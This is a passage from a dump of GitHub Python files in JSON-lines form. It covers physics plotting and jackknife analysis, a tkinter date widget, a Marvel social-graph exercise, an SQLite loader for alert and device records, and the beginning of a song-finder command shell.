cmd, opts_d, '>>', ps )\n\n cmd = temp_name + ' -m -Sc0.05 -Cvelocity_mag.cpt' % vars()\n callgmt( 'psxy', cmd, opts_d, '>>', ps )\n\n del opts_d['J']\n del opts_d['R']\n cmd = ' -Cvelocity_mag.cpt -D4/-0.25/3/0.15h -Ba5f1:\"velocity (cm/yr)\":'\n callgmt( 'psscale', cmd, opts_d, '>>', ps )\n Core_GMT.end_postscript( ps )\n","repo_name":"rcarluccio/citcoms","sub_path":"pre_post_processing/debug_ivel.py","file_name":"debug_ivel.py","file_ext":"py","file_size_in_byte":2794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"} +{"seq_id":"35422795233","text":"from connexion.decorators import produces\nfrom six import iteritems\nfrom swagger_server.models.base_model_ import Model\n\n\nclass JSONEncoder(produces.JSONEncoder):\n include_nulls = False\n\n def default(self, o):\n if isinstance(o, Model):\n dikt = {}\n for attr, _ in iteritems(o.swagger_types):\n value = getattr(o, attr)\n if value is None and not self.include_nulls:\n continue\n attr = o.attribute_map[attr]\n dikt[attr] = value\n return dikt\n return produces.JSONEncoder.default(self, o)\n","repo_name":"EarthLifeConsortium/elc_api","sub_path":"encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"38"} +{"seq_id":"21134109636","text":"'''\nTODO: Write a more detailed description.\n...\n'''\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import stats\nimport gvar as gv\nimport lsqfit\nimport os\nimport re\nimport sys\nimport click\n\n# custom modules\nsys.path.append('../')\nimport custom_library.auxiliary as auxiliary\nimport custom_library.post_processing as post_processing\n\n\n@click.command()\n@click.option(\"--input_directory\", \"input_directory\", \"-in_dir\", default='../processed_files/', help=\"The directory of the files to be analyzed.\")\n@click.option(\"--output_directory\", \"output_directory\", \"-out_dir\", default='./effective_mass_estimates/', help=\"The directory storing files with the analyzed effective mass estimates.\")\n@click.option(\"--plotting_directory\", \"plotting_directory\", \"-plot_dir\", default='../plots/', help=\"The directory that will contain the analyzed plots.\")\n\n# Effective_mass_estimates\n\ndef main(input_directory, output_directory, plotting_directory):\n\n # Extract the subdirectories structure of the input directory\n complete_list_of_subdirectories = [subdirectory[0] for subdirectory in os.walk(input_directory)]\n processed_files_subdirectories = [subdirectory for subdirectory in complete_list_of_subdirectories if 'CG' in subdirectory]\n\n for processed_files_subdirectory in processed_files_subdirectories:\n \n # Recreate the subdirectories structure inside the output and plotting directories\n auxiliary.creating_directory_function(output_directory+processed_files_subdirectory.replace(input_directory, \"\"))\n auxiliary.creating_directory_function(plotting_directory+processed_files_subdirectory.replace(input_directory, \"\"))\n\n # Extract pieces of info from each subdirectory\n operator_type_label = re.findall(r'^.+_operator', processed_files_subdirectory)[0]\n laplacian_stencil_label = re.findall(r'operator/(.+_laplacian)', processed_files_subdirectory)[0]\n derivative_stencil_label = re.findall(r'laplacian_(.+_derivative)', processed_files_subdirectory)[0]\n\n # Construct plotting subdirectory\n # operator_specification = laplacian_stencil_label.capitalize()+'_'+derivative_stencil_label\n operator_plotting_directory = plotting_directory+processed_files_subdirectory.replace(input_directory, \"\")\n # plotting_directory+operator_type_label+'/'+operator_specification\n\n for filename in os.listdir(os.fsencode(processed_files_subdirectory)):\n filename = os.fsdecode(filename)\n \n # Import 2D array with time-dependent Pion correlator data\n time_dependent_pion_correlator_per_configuration_2D_array = np.fromfile(processed_files_subdirectory+'/'+filename, dtype=np.float64)\n\n # Extract pieces of info from each file\n bare_mass_value = float(re.findall(r'mb=(\\d*\\.\\d+)', filename)[0])\n lattice_size = int((re.findall(r'L=(\\d+)', processed_files_subdirectory))[0])\n # Calculate the number_of_processed_configurations\n number_of_processed_configurations = np.shape(time_dependent_pion_correlator_per_configuration_2D_array)[0]//lattice_size\n\n # Reshape for simplifying calculation\n time_dependent_pion_correlator_per_configuration_2D_array = time_dependent_pion_correlator_per_configuration_2D_array.reshape(number_of_processed_configurations, lattice_size) \n\n # Average about its central point because the shape of the curve is expected to be symmetric due to periodic boundary conditions\n time_dependent_pion_correlator_per_configuration_2D_array = 0.5*(time_dependent_pion_correlator_per_configuration_2D_array + np.roll(np.flip(time_dependent_pion_correlator_per_configuration_2D_array, axis=1), axis = 1, shift=+1))\n \n # JACKKNIFE CALCULATIONS\n jackknife_replicas_of_time_dependent_pion_correlator_per_configuration_2D_array = post_processing.jackknife_replicas_generation(time_dependent_pion_correlator_per_configuration_2D_array)\n\n jackknife_average_time_dependent_pion_correlator_array = np.average(jackknife_replicas_of_time_dependent_pion_correlator_per_configuration_2D_array, axis=0)\n\n jackknife_variance_effective_mass_per_time_array = post_processing.jackknife_variance_array_function(jackknife_replicas_of_time_dependent_pion_correlator_per_configuration_2D_array)\n\n jackknife_covariance_matrix_effective_mass_per_time_array = post_processing.jackknife_covariance_matrix_function(jackknife_replicas_of_time_dependent_pion_correlator_per_configuration_2D_array)\n\n jackknife_time_dependent_pion_correlator_array = gv.gvar(jackknife_average_time_dependent_pion_correlator_array, jackknife_covariance_matrix_effective_mass_per_time_array)\n\n # Calculate the effective mass values array using specific formula\n '''\n TODO: replace it with map()\n '''\n jackknife_replicas_of_effective_mass_per_time_2D_array = list()\n for row in range(number_of_processed_configurations):\n jackknife_replicas_of_effective_mass_per_time_2D_array.append(post_processing.effective_mass_periodic_case_function(jackknife_replicas_of_time_dependent_pion_correlator_per_configuration_2D_array[row]))\n jackknife_replicas_of_effective_mass_per_time_2D_array = np.array(jackknife_replicas_of_effective_mass_per_time_2D_array)\n \n jackknife_average_effective_mass_per_time_array = np.average(jackknife_replicas_of_effective_mass_per_time_2D_array, axis=0)\n\n jackknife_covariance_matrix_effective_mass_per_time_array = post_processing.jackknife_covariance_matrix_function(jackknife_replicas_of_effective_mass_per_time_2D_array)\n\n jackknife_effective_mass_per_time_array = gv.gvar(jackknife_average_effective_mass_per_time_array, jackknife_covariance_matrix_effective_mass_per_time_array)\n \n # Investigating the optimal initial time for plateau curve-fitting. The first value is excluded because it is nonsensical and the last one as well in order to maintain at least 2 point for curve-fitting purposes. In total lattice_size//2-3 initial time values are investigated.\n curve_fitting_estimates = list()\n for initial_time in range(1, len(jackknife_effective_mass_per_time_array)-1):\n\n # Curve-fitting datasets\n x = range(initial_time, len(jackknife_effective_mass_per_time_array))\n y = jackknife_effective_mass_per_time_array[initial_time:]\n # The initial estimate for the effective mass equals the value \n p0 = [jackknife_effective_mass_per_time_array[3*len(jackknife_effective_mass_per_time_array)//4].mean]\n\n fit = lsqfit.nonlinear_fit(data=(x, y), p0=p0, fcn=post_processing.plateau_fit_function, debug=True)\n\n # Manual calculation of p-value **CHECK AGAIN**\n p_value = 1 - stats.chi2.cdf(fit.chi2, fit.dof)\n curve_fitting_estimates.append([fit.p[0], fit.chi2, fit.dof, p_value])\n\n curve_fitting_estimates = np.array(curve_fitting_estimates)\n\n # Creating an array of strings with the chi2/dof values per initial time for plotting purposes\n plateau_fit_chi_square_per_dof_array = list()\n curve_fitting_chi_square_estimates = (curve_fitting_estimates.T)[1]\n curve_fitting_dof_values = (curve_fitting_estimates.T)[2]\n for i in range(len(curve_fitting_chi_square_estimates)):\n plateau_fit_chi_square_per_dof_array.append(\"{:.3f}\".format(curve_fitting_chi_square_estimates[i]/curve_fitting_dof_values[i]))\n\n # Array with the plateau fit effective mass estimates per initial time\n curve_fitting_effective_mass_estimates_array = (curve_fitting_estimates.T)[0]\n\n # Estimating the optimal effective mass estimate defined as the value with a corresponding p-value closest to the critical value 5%.\n curve_fitting_p_values_array = (curve_fitting_estimates.T)[3]\n curve_fitting_p_values_array = curve_fitting_p_values_array[:-2]\n\n if (len(curve_fitting_p_values_array) == 0):\n continue\n \n # METHOD 1\n # shifted_curve_fitting_p_values_array = np.abs(curve_fitting_p_values_array - 0.025)\n # optimum_effective_mass_estimate_index = len(shifted_curve_fitting_p_values_array) - 1 - np.argmin( np.flip(shifted_curve_fitting_p_values_array) )\n \n # METHOD 2\n # print(np.max(curve_fitting_p_values_array))\n optimum_effective_mass_estimate_index = np.argmax(curve_fitting_p_values_array)\n # print(np.argmax(curve_fitting_p_values_array))\n # print(optimum_effective_mass_estimate_index)\n # print()\n\n optimum_effective_mass_estimate = curve_fitting_effective_mass_estimates_array[optimum_effective_mass_estimate_index]\n\n # PLOTS\n # Plotting time dependence of Pion correlator along with the periodic exponential expression given the optimum effective mass estimate\n x_data = np.linspace(0, lattice_size, 50)\n expfunc_parameters = [ 0.5*np.min(gv.mean(jackknife_time_dependent_pion_correlator_array))*gv.exp(optimum_effective_mass_estimate*lattice_size/2.0), optimum_effective_mass_estimate]\n fig, ax = plt.subplots()\n ax.grid()\n ax.set_title('Time-dependence of the two-point Pion correlator \\n(L='+str(lattice_size)+', mb='+str(bare_mass_value)+', N='+str(number_of_processed_configurations)+')', pad = 10)\n ax.set_yscale('log')\n ax.set(xlabel='$t$', ylabel='C(t)')\n plt.errorbar(range(len(jackknife_time_dependent_pion_correlator_array)), gv.mean(jackknife_time_dependent_pion_correlator_array), yerr=gv.sdev(jackknife_time_dependent_pion_correlator_array), fmt='o', markersize=8, capsize=10, label=operator_type_label.replace('_', ' ').rstrip('s')+'\\n'+laplacian_stencil_label.replace('_', ' ').replace('s', 'S')+' with '+derivative_stencil_label.replace('_', ' ') )\n plt.plot(x_data, post_processing.expfunc(x_data, expfunc_parameters[0].mean, expfunc_parameters[1].mean, lattice_size), 'r-')\n ax.legend(loc=\"upper center\")\n auxiliary.creating_directory_function(operator_plotting_directory+'/Pion_correlator/')\n fig.savefig(operator_plotting_directory+'/Pion_correlator/Time_dependence_of_the_pion_correlator_mb='+str(bare_mass_value)+'.png')\n plt.close()\n\n # Plotting the time-dependence of the effective mass values along with the optimal effective mass estimate\n fig, ax = plt.subplots()\n x_data = np.linspace(1, len(jackknife_effective_mass_per_time_array[1:])+1, 50)\n ax.grid()\n ax.set_title('Effective mass values as a function of time \\n(L='+str(lattice_size)+', mb='+str(bare_mass_value)+', N='+str(number_of_processed_configurations)+')', pad = 10)\n ax.set(xlabel='$t$', ylabel='$m_{eff}$')\n plt.errorbar(range(1, len(jackknife_effective_mass_per_time_array[1:])+1), gv.mean(jackknife_effective_mass_per_time_array[1:]), yerr=gv.sdev(jackknife_effective_mass_per_time_array[1:]), fmt='o', markersize=8, capsize=10, label=operator_type_label.replace('_', ' ').rstrip('s')+'\\n'+laplacian_stencil_label.replace('_', ' ').replace('s', 'S')+'\\n with '+derivative_stencil_label.replace('_', ' ') )\n plt.plot(x_data, post_processing.plateau_fit_function(x_data, optimum_effective_mass_estimate.mean), 'r-', label='Eff. mass estimate = {:.4f}'.format(optimum_effective_mass_estimate.mean)+u\"\\u00B1\"+'{:.4f}'.format(optimum_effective_mass_estimate.sdev)+'\\n'+'Initial curve-fitting time='+str(optimum_effective_mass_estimate_index+1))\n ax.legend(loc=\"upper right\")\n auxiliary.creating_directory_function(operator_plotting_directory+'/Effective_mass_values/')\n fig.savefig(operator_plotting_directory+'/Effective_mass_values/Time_dependence_of_the_effective_mass_mb='+str(bare_mass_value)+'.png')\n plt.close()\n\n # Plotting the plateau fit effective mass estimates per initial time with the corresponding chi2/dof value\n fig, ax = plt.subplots()\n ax.grid()\n ax.set(xlabel='$t_i$', ylabel='$m_{eff}^{est.}$')\n ax.set_title('Plateau fit effective mass estimates Vs. initial time \\n(L='+str(lattice_size)+', mb='+str(bare_mass_value)+', N='+str(number_of_processed_configurations)+')', pad = 10)\n # Annotating the plot with the chi2/dof values positioned alternatively above and below the markers. The first initial time investigated was n_t=1.\n x = range(1, len(curve_fitting_effective_mass_estimates_array)+1)\n for i in range(len(x)):\n plt.annotate(plateau_fit_chi_square_per_dof_array[i], (x[i], gv.mean(curve_fitting_effective_mass_estimates_array[i])), xytext=(0, 30*(-1)**(i+1)), textcoords=\"offset pixels\")\n plt.errorbar(x, gv.mean(curve_fitting_effective_mass_estimates_array), yerr=gv.sdev(curve_fitting_effective_mass_estimates_array), fmt='o', markersize=8, capsize=10, label='Index of the optimum\\neffective mass estimate = '+str(optimum_effective_mass_estimate_index+1)+'\\n'+operator_type_label.replace('_', ' ').rstrip('s')+'\\n'+laplacian_stencil_label.replace('_', ' ').replace('s', 'S')+'\\n with '+derivative_stencil_label.replace('_', ' ') )\n ax.legend(loc=\"upper right\")\n auxiliary.creating_directory_function(operator_plotting_directory+'/Effective_mass_estimates/')\n fig.savefig(operator_plotting_directory+'/Effective_mass_estimates/Plateau_fit_effective_mass_estimates_per_initial_time_mb='+str(bare_mass_value)+'.png')\n plt.close()\n\n # Jackknife effective mass estimates\n jackknife_effective_mass_estimates_per_configuration = list()\n for row in range(number_of_processed_configurations):\n jackknife_effective_mass_per_time_per_configuration_array = gv.gvar(jackknife_replicas_of_effective_mass_per_time_2D_array[row], jackknife_covariance_matrix_effective_mass_per_time_array)\n\n # Curve-fitting datasets\n x = range(optimum_effective_mass_estimate_index, len(jackknife_effective_mass_per_time_per_configuration_array))\n y = jackknife_effective_mass_per_time_per_configuration_array[optimum_effective_mass_estimate_index:]\n # The initial estimate for the effective mass equals the value \n p0 = [optimum_effective_mass_estimate.mean]\n\n fit = lsqfit.nonlinear_fit(data=(x, y), p0=p0, fcn=post_processing.plateau_fit_function, debug=True)\n\n jackknife_effective_mass_estimates_per_configuration.append(gv.mean(fit.p[0]))\n\n jackknife_effective_mass_estimates_per_configuration = np.array(jackknife_effective_mass_estimates_per_configuration)\n\n jackknife_effective_mass_estimates_per_configuration.tofile(output_directory+processed_files_subdirectory.replace(input_directory, \"\")+f'/mb={bare_mass_value:.2f}')\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Stylianos29/Improved_Wilson_operators","sub_path":"Critical_mass_analysis/analysis/effective_mass_estimate.py","file_name":"effective_mass_estimate.py","file_ext":"py","file_size_in_byte":15274,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"14111557909","text":"import tkinter\nimport calendar\nimport datetime\nfrom tkinter import ttk\nfrom tkinter import messagebox\n\nfrom typing import Union\n\n\nclass DateEntry(ttk.Frame):\n\n def __init__(self, master=None, ordering=('month', 'day', 'year'), **kw):\n super().__init__(master, **kw)\n self.ordering = {\n ordering[0]: 0,\n ordering[1]: 1,\n ordering[2]: 2\n }\n\n self.entry_1 = ttk.Entry(self, **kw)\n self.label_1 = ttk.Label(self, text='/', **kw)\n self.entry_2 = ttk.Entry(self, **kw)\n self.label_2 = ttk.Label(self, text='/', **kw)\n self.entry_3 = ttk.Entry(self, **kw)\n\n self.entry_1.pack(side=tkinter.LEFT)\n self.label_1.pack(side=tkinter.LEFT)\n self.entry_2.pack(side=tkinter.LEFT)\n self.label_2.pack(side=tkinter.LEFT)\n self.entry_3.pack(side=tkinter.LEFT)\n\n self.entries = [self.entry_1, self.entry_2, self.entry_3]\n self.month_entry['width'] = 2\n self.day_entry['width'] = 2\n self.year_entry['width'] = 4\n\n self.month_entry.bind('', lambda e: self._check(e, self.ordering['month'], 2))\n self.day_entry.bind('', lambda e: self._check(e, self.ordering['day'], 2))\n self.year_entry.bind('', lambda e: self._check(e, self.ordering['year'], 4))\n\n month_entry_validation = self.register(\n lambda number_text: self.is_number_between_or_empty(number_text, 1, 12, int))\n self.month_entry.configure(validate='key', validatecommand=(month_entry_validation, '%P'))\n\n day_entry_validation = self.register(\n lambda number_text: self.is_number_between_or_empty(number_text, 1, 31, int))\n self.day_entry.configure(validate='key', validatecommand=(day_entry_validation, '%P'))\n\n year_entry_validation = self.register(\n lambda number_text: self.is_positive_number_or_empty(number_text, int))\n self.year_entry.configure(validate='key', validatecommand=(year_entry_validation, '%P'))\n\n # message uses if they leave in a bad date\n self.bind('', self.notify_bad_date_entered)\n\n @property\n def day_entry(self) -> ttk.Entry:\n return self.entries[self.ordering['day']]\n\n @property\n def month_entry(self) -> ttk.Entry:\n return self.entries[self.ordering['month']]\n\n @property\n def year_entry(self) -> ttk.Entry:\n return self.entries[self.ordering['year']]\n\n def check_legal_date_entered(self):\n month = self.month_entry.get()\n day = self.day_entry.get()\n year = self.year_entry.get()\n\n if not all((month, day, year)):\n return True # not every field entered things are still ok\n\n month = int(month)\n day = int(day)\n year = int(year)\n # year legal, month legal, day legal\n # I'm choosing not to all years in BC. Remove the first condition if you don't want it\n return year > 0 and \\\n month in range(1, 13) and \\\n day in range(1, calendar.monthrange(year, month)[1] + 1)\n\n def notify_bad_date_entered(self, event):\n if not self.check_legal_date_entered():\n date = '/'.join((entry.get() for entry in self.entries))\n messagebox.showinfo('Bad Date', f'{date} does not exist. Please enter a valid date')\n\n @staticmethod\n def is_positive_number_or_empty(number_text: str, number_type=int) -> bool:\n if number_text:\n try:\n number = number_type(number_text)\n return number > 0\n except ValueError:\n return False\n else:\n return True\n\n @staticmethod\n def is_number_between_or_empty(number_text: str, min_value, max_value, number_type=int) -> bool:\n if number_text:\n try:\n number = number_type(number_text)\n return min_value <= number <= max_value\n except ValueError: # text could not be converted to number\n return False\n else:\n return True\n\n def _check(self, event, index, size):\n entry = self.entries[index]\n next_index = index + 1\n next_entry = self.entries[next_index] if next_index < len(self.entries) else None\n data = entry.get()\n\n if len(data) >= size and next_entry:\n next_entry.focus()\n\n def get_date(self) -> datetime.date:\n return datetime.date(int(self.year_entry.get()), int(self.month_entry.get()), int(self.day_entry.get()))\n\n def set_date(self, date: Union[datetime.date, datetime.datetime]) -> None:\n self.month_entry.delete(0, tkinter.END)\n self.month_entry.insert(0, str(date.month))\n\n self.day_entry.delete(0, tkinter.END)\n self.day_entry.insert(0, str(date.day))\n\n self.year_entry.delete(0, tkinter.END)\n self.year_entry.insert(0, str(date.year))\n","repo_name":"mfbutner/CanvasHelpers","sub_path":"src/gui/convenience/date_picker.py","file_name":"date_picker.py","file_ext":"py","file_size_in_byte":4911,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"1974234932","text":"import numpy as np\nfrom .FillGaps import FillGaps\nfrom .InterpGaps import InterpGaps\nfrom .InsertGaps import InsertGaps\n\ndef ResampleTimeSeries(xi,yi,xr,MaxGap,UseSpline=True,AddGaps=False):\n\t\n\tx = np.copy(xi)\n\ty = np.copy(yi)\n\t\n\tif AddGaps:\n\t\tx,y = InsertGaps(x,y,MaxGap)\n\t\n\tif MaxGap == None:\n\t\tyn = np.copy(y)\n\telse:\n\t\tyn = FillGaps(x,y,MaxGap,UseSpline)\n\n\tyr = InterpGaps(x,yn,xr,UseSpline)\n\treturn yr\n","repo_name":"mattkjames7/PyMess","sub_path":"PyMess/Tools/ResampleTimeSeries.py","file_name":"ResampleTimeSeries.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"6435220738","text":"\"\"\"\nKamala Khan alias Ms. Marvel es una adolescente Musulmana Pakistaní-estadounidense de Nueva Jersey. En el MCU tiene un linaje mutante latente activado unos misteriosos \nanillos que le dan una polimorfa con la capacidad de estirar su cuerpo de casi cualquier forma imaginable. Kamala era una gran fan de los superhéroes, especialmente de \nCarol Danvers, la antigua Ms. Marvel y por eso se ha convertido en una experta en redes sociales, pero nos ha pedido ayuda para \nimplementar un grafo social y los algoritmos necesarios para atender los siguientes requerimientos:\n\n- cargar superhéroes de la siguiente tabla como vértices (puntos o nodos con los que están conformado los grafos. Llamaremos grado de un vértice, al número de aristas \nde las que es extremo) del grafo;\n\nheroes = ['Iron Man', 'The Incredible Hulk', 'Khan', 'Thor', 'Captain America', 'Ant-Man', 'Nick Fury', 'The Winter Soldier']\n\ntwitter_matrix = [\n [0, 75, 40, 16, 80, 20, 99, 23],\n [75, 0, 50, 67, 79, 38, 99, 41],\n [40, 50, 0, 17, 75, 52, 85, 28],\n [16, 67, 17, 0, 11, 50, 90, 36],\n [80, 79, 75, 11, 0, 26, 12, 56],\n [20, 38, 52, 50, 26, 0, 55, 61],\n [99, 99, 85, 90, 12, 55, 0, 10],\n [23, 41, 28, 36, 56, 61, 10, 0]\n]\n\ninstagram_matrix = [\n [0, 61, 44, 66, 56, 74, 11, 65],\n [12, 0, 47, 41, 12, 38, 99, 41],\n [41, 23, 0, 45, 12, 89, 42, 14],\n [12, 69, 11, 0, 12, 50, 78, 63],\n [89, 19, 72, 11, 0, 26, 12, 56],\n [72, 34, 21, 65, 12, 0, 78, 41],\n [12, 87, 35, 99, 42, 15, 0, 10],\n [33, 41, 24, 61, 45, 41, 11, 0]\n]\n\n- cargar estos superhéroes con las siguientes etiquetas: Twitter, Instagram respectivamente, que representan si la persona del vértice origen sigue o es amigo de la persona \ndel vértice destino;\n\n- hallar el árbol de expansión máximo para cada red social (considere el grafo como no dirigido para este punto), es decir, que las conexiones deben ser las de mayor peso \n(ósea el que tenga mayor interacción); para lo cual, si desea utilizar Prim o Kruskal sin modificar el código, puede determinar la arista (relación entre dos vértices de un \ngrafo) de mayor peso y cuando aplique este algoritmo, debe que considerar el peso de cada arista será la arista de mayor peso menos el peso de la arista;\n \n- determine si es posible conectar la persona Capitana Marvel con Nick Fury a través de la red social Twitter;\n \n- determine si es posible conectar la persona The Winter Soldier con Iron Man a través de cualquier red social;\n \n- indique a todas las personas que sigue a través de su red de Instagram Thor.\n\"\"\"\n\nclass Grafo:\n def __init__(self):\n self.vertices = {}\n\n def agregar_vertice(self, nombre):\n if nombre not in self.vertices:\n self.vertices[nombre] = {}\n\n def agregar_arista(self, origen, destino, etiquetas):\n self.vertices[origen][destino] = etiquetas\n \n def arbol_expansion_maximo(self, plataforma):\n aristas = [(peso[plataforma], origen, destino) for origen, aristas in self.vertices.items() for destino, peso in aristas.items()]\n aristas.sort(reverse=True) # Ordenamos las aristas en orden decreciente de peso\n arbol = Grafo()\n for heroe in self.vertices:\n arbol.agregar_vertice(heroe)\n conjuntos = {heroe: {heroe} for heroe in self.vertices} # Un conjunto para cada nodo\n for peso, origen, destino in aristas:\n if destino not in conjuntos[origen]: # Si los nodos no están ya conectados\n arbol.agregar_arista(origen, destino, {plataforma: peso})\n arbol.agregar_arista(destino, origen, {plataforma: peso}) # Como el grafo es no dirigido\n nuevo_conjunto = conjuntos[origen].union(conjuntos[destino])\n for nodo in nuevo_conjunto:\n conjuntos[nodo] = nuevo_conjunto\n return arbol\n\n def existe_camino(self, inicio, fin):\n visitados = {inicio}\n pila = [inicio]\n while pila:\n nodo = pila.pop()\n if nodo == fin:\n return True\n for vecino in self.vertices[nodo]:\n if vecino not in visitados:\n visitados.add(vecino)\n pila.append(vecino)\n return False\n \n def seguidores(self, persona, plataforma):\n return [nombre for nombre, conexion in self.vertices[persona].items() if conexion[plataforma] > 0]\n \n def mas_popular(self, plataforma):\n max_interacciones = 0\n mas_popular = None\n for heroe, conexiones in self.vertices.items():\n interacciones = sum(conexion[plataforma] for conexion in conexiones.values())\n if interacciones > max_interacciones:\n max_interacciones = interacciones\n mas_popular = heroe\n return mas_popular\n \n# Carga los datos\nheroes = ['Iron Man', 'The Incredible Hulk', 'Khan', 'Thor', 'Captain America', 'Ant-Man', 'Nick Fury', 'The Winter Soldier']\n\ntwitter_matrix = [\n [0, 75, 40, 16, 80, 20, 99, 23],\n [75, 0, 50, 67, 79, 38, 99, 41],\n [40, 50, 0, 17, 75, 52, 85, 28],\n [16, 67, 17, 0, 11, 50, 90, 36],\n [80, 79, 75, 11, 0, 26, 12, 56],\n [20, 38, 52, 50, 26, 0, 55, 61],\n [99, 99, 85, 90, 12, 55, 0, 10],\n [23, 41, 28, 36, 56, 61, 10, 0]\n]\n\ninstagram_matrix = [\n [0, 61, 44, 66, 56, 74, 11, 65],\n [12, 0, 47, 41, 12, 38, 99, 41],\n [41, 23, 0, 45, 12, 89, 42, 14],\n [12, 69, 11, 0, 12, 50, 78, 63],\n [89, 19, 72, 11, 0, 26, 12, 56],\n [72, 34, 21, 65, 12, 0, 78, 41],\n [12, 87, 35, 99, 42, 15, 0, 10],\n [33, 41, 24, 61, 45, 41, 11, 0]\n]\n\n# Crea el grafo\ngrafo = Grafo()\n\n\nif __name__ == \"__main__\":\n\n # Añade los vértices y las aristas\n for i, heroe in enumerate(heroes):\n grafo.agregar_vertice(heroe)\n for j, otro_heroe in enumerate(heroes):\n if i != j:\n grafo.agregar_arista(heroe, otro_heroe, {\"Twitter\": twitter_matrix[i][j], \"Instagram\": instagram_matrix[i][j]})\n\n # Muestra el grafo\n for nombre, conexiones in grafo.vertices.items():\n print(f\"{nombre}: {conexiones}\")\n\n # Crea el árbol de expansión máximo para cada plataforma\n for plataforma in [\"Twitter\", \"Instagram\"]:\n arbol = grafo.arbol_expansion_maximo(plataforma)\n print(f\"Árbol de expansión máximo para {plataforma}:\")\n for nombre, conexiones in arbol.vertices.items():\n print(f\" {nombre}: {conexiones}\")\n\n # Verifica si existe un camino entre 'Captain Marvel' y 'Nick Fury' en Twitter\n print(\"\\n¿Existe un camino entre 'Captain Marvel' y 'Nick Fury' en Twitter?\")\n print(\"Sí\" if grafo.existe_camino('Captain America', 'Nick Fury') else \"No\")\n\n # Verifica si existe un camino entre 'The Winter Soldier' y 'Iron Man' en cualquier red social\n print(\"\\n¿Existe un camino entre 'The Winter Soldier' y 'Iron Man' en cualquier red social?\")\n print(\"Sí\" if any(grafo.existe_camino('The Winter Soldier', 'Iron Man') for plataforma in [\"Twitter\", \"Instagram\"]) else \"No\")\n\n # Muestra a todas las personas que sigue Thor a través de Instagram\n print(\"\\nPersonas que sigue Thor a través de Instagram:\")\n for persona in grafo.seguidores('Thor', 'Instagram'):\n print(persona)\n\n # Encuentra el superhéroe más popular en cada plataforma\n for plataforma in [\"Twitter\", \"Instagram\"]:\n print(f\"El superhéroe más popular en {plataforma} es {grafo.mas_popular(plataforma)}\")","repo_name":"NiCo7889/Prueba-de-Nivel-4","sub_path":"Pregunta3.py","file_name":"Pregunta3.py","file_ext":"py","file_size_in_byte":7444,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"15974824226","text":"import sqlite3\nimport csv\nimport json\nimport pandas as pd\n\n\n#########################################\n# DEFINICION DE FUNCIONES\n#########################################\n\ndef createDB():\n try:\n conexion = sqlite3.connect('alerts_database.db')\n c = conexion.cursor()\n c.execute('CREATE TABLE IF NOT EXISTS alerts(timestamp date, sid real, msg text, clasificacion text, '\n 'prioridad real, protocolo text, origen text, destino text, puerto real) ')\n c.execute('CREATE TABLE IF NOT EXISTS devices(id text, ip text, localizacion text, responsableNombre text, '\n 'responsableTlfn integer, responsableRol text, analisisPuertosAbiertos text, analisisServicios integer, '\n 'analisisServiviosInseguros integer, analisisVulnerabilidades integer )')\n conexion.close()\n except Exception as execption:\n print(execption)\n\n\ndef missingCero(originalValue):\n value = 'NULL'\n if originalValue != \"None\":\n value = originalValue\n return value\n\n\ndef loadCSV():\n with open('alerts.csv') as alertsCSV:\n alertsFile = csv.DictReader(alertsCSV)\n alertsCSV.close()\n for i in alertsFile:\n insertAlerts((i['timestamp'], i['sid'], i['msg'], i['clasificacion'], i['prioridad'], i['protocolo'],\n i['origen'], i['destino'], i['puerto']))\n\n\ndef loadJSON():\n file = open(\"devices.json\")\n devicesFile = json.load(file)\n file.close()\n for i in devicesFile:\n insertDevices((missingCero(i['id']), missingCero(i['ip']), missingCero(i['localizacion']),\n missingCero(i['responsable']['nombre']), missingCero(i['responsable']['telefono']),\n missingCero(i['responsable']['rol']), missingCero(str(i['analisis']['puertos_abiertos'])),\n missingCero(i['analisis']['servicios']), missingCero(i['analisis']['servicios_inseguros']),\n missingCero(i['analisis']['vulnerabilidades_detectadas'])))\n\n\ndef insertDevices(variables):\n conexion = sqlite3.connect('alerts_database.db')\n c = conexion.cursor()\n c.execute('INSERT INTO devices(id,ip,localizacion,responsableNombre,responsableTlfn,responsableRol,'\n 'analisisPuertosAbiertos,analisisServicios,analisisServiviosInseguros,analisisVulnerabilidades) '\n 'VALUES (?,?,?,?,?,?,?,?,?,?)', variables)\n conexion.commit()\n conexion.close()\n\n\ndef insertAlerts(variables):\n conexion = sqlite3.connect('alerts_database.db')\n c = conexion.cursor()\n c.execute('INSERT INTO alerts(timestamp,sid,msg,clasificacion,prioridad,protocolo,origen,destino,puerto)'\n 'VALUES (?,?,?,?,?,?,?,?,?)', variables)\n conexion.commit()\n conexion.close()\n\n\ndef deleteDB():\n conexion = sqlite3.connect('alerts_database.db')\n c = conexion.cursor()\n c.execute('DROP TABLE IF EXISTS alerts')\n conexion.commit()\n c.execute('DROP TABLE IF EXISTS devices')\n conexion.commit()\n conexion.close()\n\n\ndeleteDB()\ncreateDB()\nprint(\"DB creada\")\n\nloadJSON()\nprint(\"JSON cargado\")\n\nloadCSV()\nprint('CSV cargado')\n","repo_name":"imaneky/Practicas-SI","sub_path":"Practica1/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":3133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70897594672","text":"import cmd\nimport finder\n\nclass Finder(cmd.Cmd):\n \"\"\"Finder Command Processor\"\"\"\n intro = \"Welcome To Song finder! \\n(Type help to get started!)\"\n \n def do_find(self, song):\n '''\n The Command find enables the user to view a number of\n songs, based on the search parameters he/she inputs.\n It takes(Artist_Name, Track_Name, Part of the Lyrics) or all.\n Example >>> find cheap thrills by sia\n\n '''\n if(song == \"\"):\n print('\"Sorry, You did not input a search parameter!\"')\n else:\n print (finder.find_my_song(song))\n\n def do_view(self, song):\n '''\n The Command view enables the user to view the Lyrics of a particular song\n based on the Track ID of the song: to get the Track ID first do view.\n it takes use of get_lyrics method and first checks if the lyrics are in your\n local database\n Example 